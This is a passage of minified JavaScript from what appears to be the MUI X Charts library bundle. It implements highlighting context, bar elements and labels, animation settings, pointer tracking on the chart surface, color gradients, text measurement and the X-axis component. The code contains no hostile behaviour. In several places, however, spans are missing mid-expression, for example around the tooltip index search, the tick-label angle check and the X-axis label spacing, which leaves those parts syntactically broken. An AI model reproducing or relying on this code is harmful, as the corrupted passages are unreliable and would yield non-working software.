Ah({children:e,highlightedItem:t,onHighlightChange:n}){const[r,i]=vh({controlled:t,default:null,name:"HighlightedProvider",state:"highlightedItem"}),s=qe(),o=v.useMemo(()=>{const c=new Map;return Object.keys(s).forEach(d=>{const l=s[d];Object.keys((l==null?void 0:l.series)??{}).forEach(f=>{const m=l==null?void 0:l.series[f];c.set(f,kh(m==null?void 0:m.highlightScope))})}),c},[s]),a=r&&r.seriesId?o.get(r.seriesId)??void 0:void 0,u=v.useMemo(()=>({isInitialized:!0,data:{highlightScope:a,highlightedItem:r,setHighlighted:c=>{i(c),n==null||n(c)},clearHighlighted:()=>{i(null),n==null||n(null)},isHighlighted:Ch(a,r),isFaded:wh(a,r)}}),[r,a,i,n]);return h.jsx(wa.Provider,{value:u,children:e})}function Ca(){const{isInitialized:e,data:t}=v.useContext(wa);if(!e)throw new Error(["MUI X: Could not find the highlighted ref context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return t}function Ma(e){const t=Ca();if(!e)return{isHighlighted:!1,isFaded:!1};const n=t.isHighlighted(e),r=!n&&t.isFaded(e);return{isHighlighted:n,isFaded:r}}const ki=v.createContext({zAxis:{},zAxisIds:[]});function Sh(e){const{zAxis:t,dataset:n,children:r}=e,i=v.useMemo(()=>t==null?void 0:t.map(o=>{const a=o.dataKey;if(a===void 0||o.data!==void 0)return o;if(n===void 0)throw new Error("MUI X: z-axis uses `dataKey` but no `dataset` is provided.");return y({},o,{data:n.map(u=>u[a])})}),[t,n]),s=v.useMemo(()=>{const o=(i==null?void 0:i.map((u,c)=>y({id:`defaultized-z-axis-${c}`},u)))??[],a={};return o.forEach(u=>{a[u.id]=y({},u,{colorScale:u.colorMap&&(u.colorMap.type==="ordinal"&&u.data?Dn(y({values:u.data},u.colorMap)):Cn(u.colorMap.type==="continuous"?y({min:u.min,max:u.max},u.colorMap):u.colorMap))})}),{zAxis:a,zAxisIds:o.map(({id:u})=>u)}},[i]);return h.jsx(ki.Provider,{value:s,children:r})}const Ih=e=>{const{dispatch:t}=v.useContext(kt),{setHighlighted:n,clearHighlighted:r}=Ca();return s=>({onPointerEnter:()=>{t({type:"enterItem",data:s}),n({seriesId:s.seriesId,dataIndex:s.dataIndex})},onPointerLeave:c=>{c.currentTarget.releasePointerCapture(c.pointerId),t({type:"leaveItem",data:s}),r()},onPointerDown:c=>{c.currentTarget.hasPointerCapture(c.pointerId)&&c.currentTarget.releasePointerCapture(c.pointerId)}})},Th=["id","dataIndex","classes","color","slots","slotProps","style","onClick"];function Ph(e){return Qe("MuiBarElement",e)}ct("MuiBarElement",["root"]);const jh=e=>{const{classes:t,id:n}=e,r={root:["root",`series-${n}`]};return Ke(r,Ph,t)},_h=te(ri.rect,{name:"MuiBarElement",slot:"Root",overridesResolver:(e,t)=>t.root})(({ownerState:e})=>({stroke:"none",fill:e.isHighlighted?xt(e.color).brighter(.5).formatHex():e.color,transition:"opacity 0.2s ease-in, fill 0.2s ease-in",opacity:e.isFaded&&.3||1}));function $h(e){const{id:t,dataIndex:n,classes:r,color:i,slots:s,slotProps:o,style:a,onClick:u}=e,c=Q(e,Th),d=Ih(),{isFaded:l,isHighlighted:f}=Ma({seriesId:t,dataIndex:n}),m={id:t,dataIndex:n,classes:r,color:i,isFaded:l,isHighlighted:f},g=jh(m),p=(s==null?void 0:s.bar)??_h,x=Se({elementType:p,externalSlotProps:o==null?void 0:o.bar,externalForwardedProps:c,additionalProps:y({},d({type:"bar",seriesId:t,dataIndex:n}),{style:a,onClick:u,cursor:u?"pointer":"unset"}),className:g.root,ownerState:m});return h.jsx(p,y({},x))}function Eh(){const{chartId:e}=v.useContext(Jn);return v.useMemo(()=>e,[e])}function Hs(e){return st(e)?t=>(e(t)??0)+e.bandwidth()/2:t=>e(t)}function Ai(){const{isInitialized:e,data:t}=v.useContext(oa);if(!e)throw new Error(["MUI X: Could not find the svg ref context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return t}const fn=(e,{hasNegative:t,hasPositive:n,borderRadius:r,layout:i})=>{if(!r)return 0;const s=i==="vertical";return e==="top-left"&&(s&&n||!s&&t)||e==="top-right"&&(s&&n||!s&&n)||e==="bottom-right"&&(s&&t||!s&&n)||e==="bottom-left"&&(s&&t||!s&&t)?r:0},Rh=["style","maskId"],Lh=e=>`inset(0px round ${e.topLeft}px ${e.topRight}px ${e.bottomRight}px ${e.bottomLeft}px)`;function Oh(e){var n,r;const t=e.ownerState;return h.jsx(ri.rect,{style:y({},e.style,{clipPath:(e.ownerState.layout==="vertical"?(n=e.style)==null?void 0:n.height:(r=e.style)==null?void 0:r.width).to(i=>Lh({topLeft:Math.min(i,fn("top-left",t)),topRight:Math.min(i,fn("top-right",t)),bottomRight:Math.min(i,fn("bottom-right",t)),bottomLeft:Math.min(i,fn("bottom-left",t))}))})})}function Dh(e){const{style:t,maskId:n}=e,r=Q(e,Rh);return!e.borderRadius||e.borderRadius<=0?null:h.jsx("clipPath",{id:n,children:h.jsx(Oh,{ownerState:r,style:t})})}function Nh(e){return Qe("MuiBarLabel",e)}const vr=ct("MuiBarLabel",["root","highlighted","faded"]),Uh=e=>{const{classes:t,seriesId:n,isFaded:r,isHighlighted:i}=e,s={root:["root",`series-${n}`,i&&"highlighted",r&&"faded"]};return Ke(s,Nh,t)},Fh=e=>{const{barLabel:t,value:n,dataIndex:r,seriesId:i,height:s,width:o}=e;return t==="value"?n?n==null?void 0:n.toString():null:t({seriesId:i,dataIndex:r,value:n},{bar:{height:s,width:o}})},zh=["seriesId","dataIndex","color","isFaded","isHighlighted","classes"],Hh=te(ri.text,{name:"MuiBarLabel",slot:"Root",overridesResolver:(e,t)=>[{[`&.${vr.faded}`]:t.faded},{[`&.${vr.highlighted}`]:t.highlighted},t.root]})(({theme:e})=>{var t,n,r,i;return y({},(t=e==null?void 0:e.typography)==null?void 0:t.body2,{stroke:"none",fill:(i=(r=(n=e.vars||e)==null?void 0:n.palette)==null?void 0:r.text)==null?void 0:i.primary,transition:"opacity 0.2s ease-in, fill 0.2s ease-in",textAnchor:"middle",dominantBaseline:"central",pointerEvents:"none",opacity:1,[`&.${vr.faded}`]:{opacity:.3}})});function Vh(e){const t=He({props:e,name:"MuiBarLabel"}),n=Q(t,zh);return h.jsx(Hh,y({},n))}const Bh=["seriesId","classes","color","style","dataIndex","barLabel","slots","slotProps","height","width","value"],Gh=["ownerState"];function Yh(e){const{seriesId:t,classes:n,color:r,style:i,dataIndex:s,barLabel:o,slots:a,slotProps:u,height:c,width:d,value:l}=e,f=Q(e,Bh),{isFaded:m,isHighlighted:g}=Ma({seriesId:t,dataIndex:s}),p={seriesId:t,classes:n,color:r,isFaded:m,isHighlighted:g,dataIndex:s},x=Uh(p),b=(a==null?void 0:a.barLabel)??Vh,M=Se({elementType:b,externalSlotProps:u==null?void 0:u.barLabel,additionalProps:y({},f,{style:i,className:x.root}),ownerState:p}),{ownerState:w}=M,A=Q(M,Gh);if(!o)return null;const I=Fh({barLabel:o,value:l,dataIndex:s,seriesId:t,height:c,width:d});return I?h.jsx(b,y({},A,w,{children:I})):null}const Wh=["bars","skipAnimation"],Xh=({layout:e,yOrigin:t,x:n,width:r,y:i,xOrigin:s,height:o})=>y({},e==="vertical"?{y:t,x:n+r/2,height:0,width:r}:{y:i+o/2,x:s,height:o,width:0}),Vs=({x:e,width:t,y:n,height:r})=>({x:e+t/2,y:n+r/2,height:r,width:t});function qh(e){const{bars:t,skipAnimation:n}=e,r=Q(e,Wh),i=$r(t,{keys:s=>`${s.seriesId}-${s.dataIndex}`,from:Xh,leave:null,enter:Vs,update:Vs,immediate:n});return h.jsx(v.Fragment,{children:i((s,{seriesId:o,dataIndex:a,color:u,value:c,width:d,height:l})=>h.jsx(Yh,y({seriesId:o,dataIndex:a,value:c,color:u,width:d,height:l},r,{style:s})))})}const wr=(e,t)=>{const n=`${e}-axis`,r=`${e}Axis`;return t===(e==="x"?Ci:Mi)?`The first \`${r}\``:`The ${n} with id "${t}"`};function Kh(e,t,n,r,i,s){const o=r[n],a=s[i],u=e?o:a,c=e?a:o,d=e?n:i,l=e?i:n,f=e?"x":"y",m=e?"y":"x";if(!Ur(u))throw new Error(`MUI X: ${wr(f,d)} should be of type "band" to display the bar series of id "${t}".`);if(u.data===void 0)throw new Error(`MUI X: ${wr(f,d)} should have data property.`);if(Ur(c)||ia(c))throw new Error(`MUI X: ${wr(m,l)} should be a continuous type to display the bar series of id "${t}".`)}const ka=v.createContext({isInitialized:!1,data:{skipAnimation:void 0}});function Qh(e){const{children:t,skipAnimation:n}=e,r=typeof window>"u"||!(window!=null&&window.matchMedia),[i,s]=v.useState(r||void 0);Je(()=>{var c;if(r)return;const a=d=>{const l=d.matches||void 0;s(l),we.assign({skipAnimation:l})},u=window.matchMedia("(prefers-reduced-motion)");return a(u),(c=u==null?void 0:u.addEventListener)==null||c.call(u,"change",a),()=>{var d;(d=u==null?void 0:u.removeEventListener)==null||d.call(u,"change",a)}},[]);const o=v.useMemo(()=>({isInitialized:!0,data:{skipAnimation:n||i}}),[i,n]);return h.jsx(ka.Provider,{value:o,children:t})}function Zh(e){const{isInitialized:t,data:n}=v.useContext(ka);if(!t)throw new Error(["MUI X: Could not find the animation ref context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return e||n.skipAnimation}const Jh=["skipAnimation","onItemClick","borderRadius","barLabel"];function em({bandWidth:e,numberOfGroups:t,gapRatio:n}){if(n===0)return{barWidth:e/t,offset:0};const r=e/(t+(t-1)*n),i=n*r;return{barWidth:r,offset:i}}const tm=()=>{const e=ah()??{series:{},stackingGroups:[],seriesOrder:[]},t=Te(),n=Eh(),{series:r,stackingGroups:i}=e,{xAxis:s,yAxis:o,xAxisIds:a,yAxisIds:u}=t,c=a[0],d=u[0],l={};return{completedData:i.flatMap(({ids:m},g)=>m.flatMap(p=>{const x=r[p].xAxisId??r[p].xAxisKey??c,b=r[p].yAxisId??r[p].yAxisKey??d,M=s[x],w=o[b],A=r[p].layout==="vertical";Kh(A,p,x,s,b,o);const I=A?M:w,C=M.scale,_=w.scale,E=xa(r[p],s[x],o[b]),D=I.scale.bandwidth(),{barWidth:O,offset:j}=em({bandWidth:D,numberOfGroups:i.length,gapRatio:I.barGapRatio}),U=g*(O+j),{stackedData:R}=r[p];return R.map((T,$)=>{var ne,he;const H=T.map(ce=>A?_(ce):C(ce)),B=Math.round(Math.min(...H)),F=Math.round(Math.max(...H)),Y=r[p].stack,G={seriesId:p,dataIndex:$,layout:r[p].layout,x:A?C((ne=s[x].data)==null?void 0:ne[$])+U:B,y:A?B:_((he=o[b].data)==null?void 0:he[$])+U,xOrigin:C(0),yOrigin:_(0),height:A?F-B:O,width:A?O:F-B,color:E($),value:r[p].data[$],maskId:`${n}_${Y||p}_${g}_${$}`};l[G.maskId]||(l[G.maskId]={id:G.maskId,width:0,height:0,hasNegative:!1,hasPositive:!1,layout:G.layout,xOrigin:C(0),yOrigin:_(0),x:0,y:0});const K=l[G.maskId];return K.width=G.layout==="vertical"?G.width:K.width+G.width,K.height=G.layout==="vertical"?K.height+G.height:G.height,K.x=Math.min(K.x===0?1/0:K.x,G.x),K.y=Math.min(K.y===0?1/0:K.y,G.y),K.hasNegative=K.hasNegative||(G.value??0)<0,K.hasPositive=K.hasPositive||(G.value??0)>0,G})})),masksData:Object.values(l)}},hn=({layout:e,yOrigin:t,x:n,width:r,y:i,xOrigin:s,height:o})=>y({},e==="vertical"?{y:t,x:n,height:0,width:r}:{y:i,x:s,height:o,width:0}),mn=({x:e,width:t,y:n,height:r})=>({y:n,x:e,height:r,width:t});function nm(e){const{completedData:t,masksData:n}=tm(),{skipAnimation:r,onItemClick:i,borderRadius:s,barLabel:o}=e,a=Q(e,Jh),u=Zh(r),c=!s||s<=0,d=$r(t,{keys:f=>`${f.seriesId}-${f.dataIndex}`,from:hn,leave:hn,enter:mn,update:mn,immediate:u}),l=$r(c?[]:n,{keys:f=>f.id,from:hn,leave:hn,enter:mn,update:mn,immediate:u});return h.jsxs(v.Fragment,{children:[!c&&l((f,{id:m,hasPositive:g,hasNegative:p,layout:x})=>h.jsx(Dh,{maskId:m,borderRadius:s,hasNegative:p,hasPositive:g,layout:x,style:f})),d((f,{seriesId:m,dataIndex:g,color:p,maskId:x})=>{const b=h.jsx($h,y({id:m,dataIndex:g,color:p},a,{onClick:i&&(M=>{i(M,{type:"bar",seriesId:m,dataIndex:g})}),style:f}));return c?b:h.jsx("g",{clipPath:`url(#${x})`,children:b})}),o&&h.jsx(qh,y({bars:t,skipAnimation:u,barLabel:o},a))]})}function rm(e,t){const n=e.createSVGPoint();return n.x=t.clientX,n.y=t.clientY,n.matrixTransform(e.getScreenCTM().inverse())}function ft(e){return e instanceof Date?e.getTime():e}const im=e=>{const t=Ai(),n=Ie(),{xAxis:r,yAxis:i,xAxisIds:s,yAxisIds:o}=Te(),{dispatch:a}=v.useContext(kt),u=s[0],c=o[0],d=v.useRef({isInChart:!1,x:-1,y:-1});v.useEffect(()=>{const l=t.current;if(l===null||e)return()=>{};function f(x,b){const{scale:M,data:w,reverse:A}=x;if(!st(M)){const C=M.invert(b);if(w===void 0)return{value:C,index:-1};const _=ft(C),E=w==null?void 0:w.findIndex((D,O)=>{const j=ft(D);return j>_&&(O===0||Math.abs(_-j)<=Math.abs(_-ft(w[O-1])))||j<=_&&(O===w.length-1||Math.abs(ft(C)-j)=0?w[E]:C,index:E}}const I=M.bandwidth()===0?Math.floor((b-Math.min(...M.range())+M.step()/2)/M.step()):Math.floor((b-Math.min(...M.range()))/M.step());if(I<0||I>=w.length)return null;if(A){const C=w.length-1-I;return{index:C,value:w[C]}}return{index:I,value:w[I]}}const m=()=>{d.current={isInChart:!1,x:-1,y:-1},a({type:"exitChart"})},g=x=>{const b="targetTouches"in x?x.targetTouches[0]:x,M=rm(l,b);if(d.current.x=M.x,d.current.y=M.y,!n.isPointInside(M,{targetElement:x.target})){d.current.isInChart&&(a({type:"exitChart"}),d.current.isInChart=!1);return}d.current.isInChart=!0;const w=f(r[u],M.x),A=f(i[c],M.y);a({type:"updateAxis",data:{x:w,y:A}})},p=x=>{const b=x.currentTarget;b&&b.hasPointerCapture(x.pointerId)&&b.releasePointerCapture(x.pointerId)};return l.addEventListener("pointerdown",p),l.addEventListener("pointermove",g),l.addEventListener("pointerout",m),l.addEventListener("pointercancel",m),l.addEventListener("pointerleave",m),()=>{l.removeEventListener("pointerdown",p),l.removeEventListener("pointermove",g),l.removeEventListener("pointerout",m),l.removeEventListener("pointercancel",m),l.removeEventListener("pointerleave",m)}},[t,a,c,i,u,r,e,n])},sm=["children","width","height","viewBox","disableAxisListener","className","title","desc"],om=te("svg",{name:"MuiChartsSurface",slot:"Root"})(()=>({touchAction:"none"})),am=v.forwardRef(function(t,n){const r=He({props:t,name:"MuiChartsSurface"}),{children:i,width:s,height:o,viewBox:a,disableAxisListener:u=!1,className:c,title:d,desc:l}=r,f=Q(r,sm),m=y({width:s,height:o,x:0,y:0},a);return im(u),h.jsxs(om,y({width:s,height:o,viewBox:`${m.x} ${m.y} ${m.width} ${m.height}`,ref:n,className:c},f,{children:[h.jsx("title",{children:d}),h.jsx("desc",{children:l}),i]}))});function Bs(e){const{isReversed:t,gradientId:n,size:r,direction:i,scale:s,colorMap:o}=e;return h.jsx("linearGradient",{id:n,x1:"0",x2:"0",y1:"0",y2:"0",[`${i}${t?1:2}`]:`${r}px`,gradientUnits:"userSpaceOnUse",children:o.thresholds.map((a,u)=>{const c=s(a);if(c===void 0)return null;const d=t?1-c/r:c/r;return h.jsxs(v.Fragment,{children:[h.jsx("stop",{offset:d,stopColor:o.colors[u],stopOpacity:1}),h.jsx("stop",{offset:d,stopColor:o.colors[u+1],stopOpacity:1})]},a.toString()+u)})})}const cm=10;function Gs(e){const{gradientUnits:t,isReversed:n,gradientId:r,size:i,direction:s,scale:o,colorScale:a,colorMap:u}=e,c=[u.min??0,u.max??100],d=c.map(o).filter(g=>g!==void 0);if(d.length!==2)return null;const l=typeof c[0]=="number"?Yt(c[0],c[1]):Uo(c[0],c[1]),f=Math.round((Math.max(...d)-Math.min(...d))/cm),m=`${c[0]}-${c[1]}-`;return h.jsx("linearGradient",{id:r,x1:"0",x2:"0",y1:"0",y2:"0",[`${s}${n?1:2}`]:t==="objectBoundingBox"?1:`${i}px`,gradientUnits:t??"userSpaceOnUse",children:Array.from({length:f+1},(g,p)=>{const x=l(p/f);if(x===void 0)return null;const b=o(x);if(b===void 0)return null;const M=n?1-b/i:b/i,w=a(x);return w===null?null:h.jsx("stop",{offset:M,stopColor:w,stopOpacity:1},m+p)})})}function um(){const{chartId:e}=v.useContext(Jn);return v.useCallback((t,n)=>`${e}-gradient-${n}-${t}`,[e])}function lm(){const{top:e,height:t,bottom:n,left:r,width:i,right:s}=Ie(),o=e+t+n,a=r+i+s,u=um(),{xAxisIds:c,xAxis:d,yAxisIds:l,yAxis:f}=Te();return h.jsxs("defs",{children:[l.filter(m=>f[m].colorMap!==void 0).map(m=>{const g=u(m,"y"),{colorMap:p,scale:x,colorScale:b,reverse:M}=f[m];return(p==null?void 0:p.type)==="piecewise"?h.jsx(Bs,{isReversed:!M,scale:x,colorMap:p,size:o,gradientId:g,direction:"y"},g):(p==null?void 0:p.type)==="continuous"?h.jsx(Gs,{isReversed:!M,scale:x,colorScale:b,colorMap:p,size:o,gradientId:g,direction:"y"},g):null}),c.filter(m=>d[m].colorMap!==void 0).map(m=>{const g=u(m,"x"),{colorMap:p,scale:x,reverse:b,colorScale:M}=d[m];return(p==null?void 0:p.type)==="piecewise"?h.jsx(Bs,{isReversed:b,scale:x,colorMap:p,size:a,gradientId:g,direction:"x"},g):(p==null?void 0:p.type)==="continuous"?h.jsx(Gs,{isReversed:b,scale:x,colorScale:M,colorMap:p,size:a,gradientId:g,direction:"x"},g):null})]})}const Ys=(e,t,n)=>{const r=n==="x"?Ci:Mi;return[...(e==null?void 0:e.map((i,s)=>y({id:`defaultized-${n}-axis-${s}`},i)))??[],...e===void 0||e.findIndex(({id:i})=>i===r)===-1?[{id:r,scaleType:"linear"}]:[]].map(i=>{const s=i.dataKey;if(s===void 0||i.data!==void 0)return i;if(t===void 0)throw new Error(`MUI X: ${n}-axis uses \`dataKey\` but no \`dataset\` is provided.`);return y({},i,{data:t.map(o=>o[s])})})},dm=(e,t,n)=>{const r=v.useMemo(()=>Ys(e,n,"x"),[e,n]),i=v.useMemo(()=>Ys(t,n,"y"),[t,n]);return[r,i]},fm=["width","height","series","margin","xAxis","yAxis","zAxis","colors","dataset","sx","title","desc","disableAxisListener","highlightedItem","onHighlightChange","plugins","children","skipAnimation"],hm=(e,t)=>{const{width:n,height:r,series:i,margin:s,xAxis:o,yAxis:a,zAxis:u,colors:c,dataset:d,sx:l,title:f,desc:m,disableAxisListener:g,highlightedItem:p,onHighlightChange:x,plugins:b,children:M,skipAnimation:w}=e,A=Q(e,fm),I=v.useRef(null),C=va(t,I),[_,E]=dm(o,a,d),D={width:n,height:r,margin:s,svgRef:I},O={skipAnimation:w},j={plugins:b},U={series:i,colors:c,dataset:d},R={xAxis:_,yAxis:E,dataset:d},T={zAxis:u,dataset:d},$={highlightedItem:p,onHighlightChange:x},H=y({},A,{width:n,height:r,ref:C,sx:l,title:f,desc:m,disableAxisListener:g});return{children:M,drawingProviderProps:D,seriesProviderProps:U,cartesianProviderProps:R,zAxisContextProps:T,highlightedProviderProps:$,chartsSurfaceProps:H,pluginProviderProps:j,animationProviderProps:O,xAxis:_,yAxis:E}},mm=v.forwardRef(function(t,n){const{children:r,drawingProviderProps:i,seriesProviderProps:s,cartesianProviderProps:o,zAxisContextProps:a,highlightedProviderProps:u,chartsSurfaceProps:c,pluginProviderProps:d,animationProviderProps:l}=hm(t,n);return h.jsx(mf,y({},i,{children:h.jsx(nh,y({},d,{children:h.jsx(oh,y({},s,{children:h.jsx(ch,y({},o,{children:h.jsx(Sh,y({},a,{children:h.jsx(bh,{children:h.jsx(Ah,y({},u,{children:h.jsxs(am,y({},c,{children:[h.jsx(lm,{}),h.jsx(Qh,y({},l,{children:r}))]}))}))})}))}))}))}))}))}),gm=te("div",{name:"MuiResponsiveChart",slot:"Container"})(({ownerState:e})=>({width:e.width??"100%",height:e.height??"100%",display:"flex",position:"relative",flexGrow:1,flexDirection:"column",alignItems:"center",justifyContent:"center",overflow:"hidden","&>svg":{width:"100%",height:"100%"}})),Fr=typeof window<"u"?v.useLayoutEffect:v.useEffect;function pm(e){return e&&e.ownerDocument||document}function xm(e){return pm(e).defaultView||window}const ym=(e,t,n)=>{const r=v.useRef({displayError:!1,initialCompute:!0,computeRun:0}),i=v.useRef(null),[s,o]=v.useState(0),[a,u]=v.useState(0),c=v.useCallback(()=>{const d=i==null?void 0:i.current;if(!d)return{};const f=xm(d).getComputedStyle(d),m=Math.floor(parseFloat(f.height))||0,g=Math.floor(parseFloat(f.width))||0;return o(g),u(m),{width:g,height:m}},[]);return v.useEffect(()=>{r.current.displayError=!0},[]),Fr(()=>{if(!n||!r.current.initialCompute||r.current.computeRun>20)return;const d=c();d.width!==s||d.height!==a?r.current.computeRun+=1:r.current.initialCompute&&(r.current.initialCompute=!1)},[s,a,c,n]),Fr(()=>{if(e!==void 0&&t!==void 0)return()=>{};c();const d=i.current;if(typeof ResizeObserver>"u")return()=>{};let l;const f=new ResizeObserver(()=>{l=requestAnimationFrame(()=>{c()})});return d&&f.observe(d),()=>{l&&cancelAnimationFrame(l),d&&f.unobserve(d)}},[c,t,e]),{containerRef:i,width:e??s,height:t??a}},bm=["width","height","resolveSizeBeforeRender","margin","children","series","colors","dataset","desc","disableAxisListener","highlightedItem","onHighlightChange","plugins","sx","title","viewBox","xAxis","yAxis","zAxis","skipAnimation"],vm=(e,t)=>{const{width:n,height:r,resolveSizeBeforeRender:i,margin:s,children:o,series:a,colors:u,dataset:c,desc:d,disableAxisListener:l,highlightedItem:f,onHighlightChange:m,plugins:g,sx:p,title:x,viewBox:b,xAxis:M,yAxis:w,zAxis:A,skipAnimation:I}=e,C=Q(e,bm),{containerRef:_,width:E,height:D}=ym(n,r,i),O=y({},C,{ownerState:{width:n,height:r},ref:_});return{hasIntrinsicSize:E&&D,chartContainerProps:{margin:s,children:o,series:a,colors:u,dataset:c,desc:d,disableAxisListener:l,highlightedItem:f,onHighlightChange:m,plugins:g,sx:p,title:x,viewBox:b,xAxis:M,yAxis:w,zAxis:A,skipAnimation:I,width:E,height:D,ref:t},resizableChartContainerProps:O}},wm=v.forwardRef(function(t,n){const{hasIntrinsicSize:r,chartContainerProps:i,resizableChartContainerProps:s}=vm(t,n);return h.jsx(gm,y({},s,{children:r?h.jsx(mm,y({},i)):null}))});function Aa(e){return Qe("MuiChartsAxis",e)}const gn=ct("MuiChartsAxis",["root","line","tickContainer","tick","tickLabel","label","directionX","directionY","top","bottom","left","right"]),Sa=te("g",{name:"MuiChartsAxis",slot:"Root",overridesResolver:(e,t)=>t.root})(({theme:e})=>({[`& .${gn.tickLabel}`]:y({},e.typography.caption,{fill:(e.vars||e).palette.text.primary}),[`& .${gn.label}`]:y({},e.typography.body1,{fill:(e.vars||e).palette.text.primary}),[`& .${gn.line}`]:{stroke:(e.vars||e).palette.text.primary,shapeRendering:"crispEdges",strokeWidth:1},[`& .${gn.tick}`]:{stroke:(e.vars||e).palette.text.primary,shapeRendering:"crispEdges"}}));function Cm(){return typeof window>"u"}const Ze={widthCache:{},cacheCount:0},Mm=2e3,km={position:"absolute",top:"-20000px",left:0,padding:0,margin:0,border:"none",whiteSpace:"pre"},Am=["minWidth","maxWidth","width","minHeight","maxHeight","height","top","left","fontSize","padding","margin","paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom"],Ws="mui_measurement_span";function Ia(e,t){return Am.indexOf(e)>=0&&t===+t?`${t}px`:t}function Ta(e){return e.split("").reduce((r,i)=>i===i.toUpperCase()?[...r,"-",i.toLowerCase()]:[...r,i],[]).join("")}const Sm=e=>Object.keys(e).sort().reduce((t,n)=>`${t}${Ta(n)}:${Ia(n,e[n])};`,"");let Cr;const Im=(e,t={})=>{if(e==null||Cm())return{width:0,height:0};const n=`${e}`,r=Sm(t),i=`${n}-${r}`;if(Ze.widthCache[i])return Ze.widthCache[i];try{let s=document.getElementById(Ws);s===null&&(s=document.createElement("span"),s.setAttribute("id",Ws),s.setAttribute("aria-hidden","true"),document.body.appendChild(s));const o=y({},km,t);Object.keys(o).map(c=>(s.style[Ta(c)]=Ia(c,o[c]),c)),s.textContent=n;const a=s.getBoundingClientRect(),u={width:a.width,height:a.height};return Ze.widthCache[i]=u,Ze.cacheCount+1>Mm?(Ze.cacheCount=0,Ze.widthCache={}):Ze.cacheCount+=1,Cr&&clearTimeout(Cr),Cr=setTimeout(()=>{s.textContent=""},0),u}catch{return{width:0,height:0}}};function Si({style:e,needsComputation:t,text:n}){return n.split(` `).map(r=>y({text:r},t?Im(r,e):{width:0,height:0}))}const Tm=["x","y","style","text","ownerState"],Pm=["angle","textAnchor","dominantBaseline"];function Xt(e){const{x:t,y:n,style:r,text:i}=e,s=Q(e,Tm),o=r??{},{angle:a,textAnchor:u,dominantBaseline:c}=o,d=Q(o,Pm),l=v.useMemo(()=>Si({style:d,needsComputation:i.includes(` `),text:i}),[d,i]);let f;switch(c){case"hanging":f=0;break;case"central":f=(l.length-1)/2*-l[0].height;break;default:f=(l.length-1)*-l[0].height;break}const m=[];return a&&m.push(`rotate(${a}, ${t}, ${n})`),h.jsx("text",y({},s,{transform:m.length>0?m.join(" "):void 0,x:t,y:n,textAnchor:u,dominantBaseline:c,style:d,children:l.map((g,p)=>h.jsx("tspan",{x:t,dy:`${p===0?f:l[0].height}px`,dominantBaseline:c,children:g.text},p))}))}const Xs=5;function jm(e,t,n=0){const r=Math.min(Math.abs(n)%180,Math.abs(Math.abs(n)%180-180)%180);if(r90-Xs)return t;const i=r*Math.PI/180,s=Math.atan2(t,e);return i{e||n(!0)},[e]),v.useEffect(()=>{e&&n(!0)},[e]),t}const $m=["scale","tickNumber","reverse"],Em=e=>{const{classes:t,position:n}=e;return Ke({root:["root","directionX",n],line:["line"],tickContainer:["tickContainer"],tick:["tick"],tickLabel:["tickLabel"],label:["label"]},Aa,t)};function Rm(e,{tickLabelStyle:t,tickLabelInterval:n,reverse:r,isMounted:i}){const s=e.map(c=>{if(!i||c.formattedValue===void 0)return y({},c,{width:0,height:0});const d=Si({style:t,needsComputation:!0,text:c.formattedValue});return y({},c,{width:Math.max(...d.map(l=>l.width)),height:Math.max(d.length*d[0].height)})});if(typeof n=="function")return s.map((c,d)=>y({},c,{skipLabel:!n(c.value,d)}));let o=0,a=0;const u=r?-1:1;return s.map((c,d)=>{const{width:l,offset:f,labelOffset:m,height:g}=c,p=jm(l,g,t==null?void 0:t.angle),x=f+m,b=1.2;return o=x-u*(b*p)/2,d>0&&u*ot.root})({}),Om={position:"bottom",disableLine:!1,disableTicks:!1,tickSize:6};function qs(e){const{xAxisIds:t,xAxis:n}=Te(),r=n[e.axisId??t[0]],{scale:i,tickNumber:s,reverse:o}=r,a=Q(r,$m),u=_m(),c=He({props:y({},a,e),name:"MuiChartsXAxis"}),d=y({},Om,c),{position:l,disableLine:f,disableTicks:m,tickLabelStyle:g,label:p,labelStyle:x,tickFontSize:b,labelFontSize:M,tickSize:w,valueFormatter:A,slots:I,slotProps:C,tickInterval:_,tickLabelInterval:E,tickPlacement:D,tickLabelPlacement:O,sx:j}=d,U=qt(),R=Em(y({},d,{theme:U})),{left:T,top:$,width:H,height:B,isPointInside:F}=Ie(),Y=m?4:w,G=l==="bottom"?1:-1,K=(I==null?void 0:I.axisLine)??"line",ne=(I==null?void 0:I.axisTick)??"line",he=(I==null?void 0:I.axisTickLabel)??Xt,ce=(I==null?void 0:I.axisLabel)??Xt,Z=Se({elementType:he,externalSlotProps:C==null?void 0:C.axisTickLabel,additionalProps:{style:y({textAnchor:"middle",dominantBaseline:l==="bottom"?"hanging":"auto",fontSize:b??12},g)},className:R.tickLabel,ownerState:{}}),me=Zn({scale:i,tickNumber:s,valueFormatter:A,tickInterval:_,tickPlacement:D,tickLabelPlacement:O}),ae=Rm(me,{tickLabelStyle:Z.style,tickLabelInterval:E,reverse:o,isMounted:u}),ge={x:T+H/2,y:G*(Y+22)},P=Se({elementType:ce,externalSlotProps:C==null?void 0:C.axisLabel,additionalProps:{style:y({fontSize:M??14,textAnchor:"middle",dominantBaseline:l==="bottom"?"hanging":"auto"},x)},ownerState:{}}),L=i.domain(),N=st(i);return N&&L.length===0||!N&&L.some(wi)?null:h.jsxs(Lm,{transform:`translate(0, ${l==="bottom"?$+B:$})`,className:R.root,sx:j,children:[!f&&h.jsx(K,y({x1:T,x2:T+H,className:R.line},C==null?void 0:C.axisLine)),ae.map(({formattedValue:k,offset:J,labelOffset:X,skipLabel:oe},ie)=>{const pe=X??0,ut=G*(Y+3),tr=F({x:J,y:-1},{direction:"x"}),Ii=F({x:J+pe,y:-1},{direction:"x"});return h.jsxs("g",{transform:`translate(${J}, 0)`,className:R.tickContainer,children:[!m&&tr&&h.jsx(ne,y({y2:G*Y,className:R.tick},C==null?void 0:C.axisTick)),k!==void 0&&!oe&&Ii&&h.jsx(he,y({x:pe,y:ut},Z,{text:k.toString()}))]},ie)}),p&&h.jsx("g",{className:R.label,children:h.jsx(ce,y({},ge,P,{text:p}))})]})}const Dm=["scale","tickNumber"],Nm=e=>{const{classes:t,position:n}=e;return 